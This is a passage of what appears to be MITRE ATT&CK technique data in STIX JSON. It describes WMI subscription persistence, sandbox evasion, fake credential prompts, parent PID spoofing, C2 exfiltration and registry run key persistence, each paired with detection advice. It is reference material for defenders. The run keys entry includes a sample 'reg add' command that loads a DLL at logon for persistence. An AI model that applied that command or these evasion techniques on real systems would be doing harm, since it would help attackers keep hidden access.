Retrieved March 30, 2016."},{"source_name":"Dell WMI Persistence","url":"https://www.secureworks.com/blog/wmi-persistence","description":"Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016."},{"source_name":"FireEye WMI SANS 2015","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf","description":"Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."},{"source_name":"Medium Detecting WMI Persistence","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96","description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019."},{"source_name":"Elastic - Hunting for Persistence Part 1","url":"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1","description":"French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."},{"source_name":"Mandiant M-Trends 2015","url":"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf","description":"Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016."},{"source_name":"Microsoft Register-WmiEvent","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1","description":"Microsoft. (n.d.). Retrieved January 24, 2020."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"source_name":"Microsoft MOF May 2018","url":"https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-","description":"Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.","modified":"2022-04-20T17:01:37.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Windows Management Instrumentation Event Subscription","x_mitre_detection":"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","WMI: WMI Creation","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75","type":"attack-pattern","created":"2020-10-02T16:59:56.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.004","url":"https://attack.mitre.org/techniques/T1596/004"},{"source_name":"DigitalShadows CDN","url":"https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/","description":"Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:47:55.905Z","name":"CDNs","description":"Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Deloitte Threat Library Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","type":"attack-pattern","created":"2020-03-06T21:04:12.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1497.002","url":"https://attack.mitre.org/techniques/T1497/002"},{"source_name":"Deloitte Environment Awareness","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."},{"source_name":"Sans Virtual Jan 2016","url":"https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667","description":"Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019."},{"source_name":"Unit 42 Sofacy Nov 2018","url":"https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"}],"modified":"2021-10-18T14:57:48.362Z","name":"User Activity Based Checks","description":"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Static File Analysis","Signature-based detection","Host forensic analysis"]},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Molyett, @s1air, Cisco Talos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1141","url":"https://attack.mitre.org/techniques/T1141"},{"external_id":"CAPEC-569","source_name":"capec","url":"https://capec.mitre.org/data/definitions/569.html"},{"url":"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html","description":"Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.","source_name":"OSX Malware Exploits MacKeeper"},{"source_name":"LogRhythm Do You Trust Oct 2014","url":"https://logrhythm.com/blog/do-you-trust-your-computer/","description":"Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"},{"source_name":"Enigma Phishing for Credentials Jan 2015","url":"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/","description":"Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."}],"modified":"2020-02-12T16:34:06.412Z","name":"Input Prompt","description":"When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Shane Tully, @securitygypsy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","type":"attack-pattern","created":"2017-05-31T21:30:57.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1072","url":"https://attack.mitre.org/techniques/T1072"},{"external_id":"CAPEC-187","source_name":"capec","url":"https://capec.mitre.org/data/definitions/187.html"}],"modified":"2020-12-11T17:00:00.938Z","name":"Software Deployment Tools","description":"Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Process: Process Creation"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","type":"attack-pattern","created":"2017-05-31T21:30:41.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1041","url":"https://attack.mitre.org/techniques/T1041"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-10-15T22:45:50.620Z","name":"Exfiltration Over C2 Channel","description":"Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","File: File Access","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Command: Command Execution"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wayne Silva, F-Secure Countercept"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","type":"attack-pattern","created":"2020-02-18T18:22:41.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1134.004","url":"https://attack.mitre.org/techniques/T1134/004"},{"source_name":"DidierStevens SelectMyParent Nov 2009","url":"https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/","description":"Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019."},{"source_name":"Microsoft UAC Nov 2018","url":"https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works","description":"Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019."},{"source_name":"CounterCept PPID Spoofing Dec 2018","url":"https://www.countercept.com/blog/detecting-parent-pid-spoofing/","description":"Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019."},{"source_name":"CTD PPID Spoofing Macro Mar 2019","url":"https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/","description":"Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."},{"source_name":"XPNSec PPID Nov 2017","url":"https://blog.xpnsec.com/becoming-system/","description":"Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019."},{"source_name":"Microsoft Process Creation Flags May 2018","url":"https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags","description":"Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."},{"description":"Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.","url":"https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3","source_name":"Secuirtyinbits Ataware3 May 2019"}],"modified":"2021-02-09T14:11:20.296Z","name":"Parent PID Spoofing","description":"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Process: Process Metadata","Process: OS API Execution"],"x_mitre_defense_bypassed":["Heuristic Detection","Host forensic analysis"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","type":"attack-pattern","created":"2020-10-02T16:27:02.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591","url":"https://attack.mitre.org/techniques/T1591"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."},{"source_name":"SEC EDGAR Search","url":"https://www.sec.gov/edgar/search-and-access","description":"U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."}],"modified":"2021-08-27T15:37:09.343Z","name":"Gather Victim Org Information","description":"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc","type":"attack-pattern","created":"2017-05-31T21:30:49.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1060","url":"https://attack.mitre.org/techniques/T1060"},{"external_id":"CAPEC-270","source_name":"capec","url":"https://capec.mitre.org/data/definitions/270.html"},{"url":"http://msdn.microsoft.com/en-us/library/aa376977","description":"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.","source_name":"Microsoft Run Key"},{"url":"https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key","description":"Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.","source_name":"Microsoft RunOnceEx APR 2018"},{"url":"https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/","description":"Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.","source_name":"Oddvar Moe RunOnceEx Mar 2018"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-23T22:05:32.409Z","name":"Registry Run Keys / Startup Folder","description":"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>\nThe startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>\n\nThe following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use 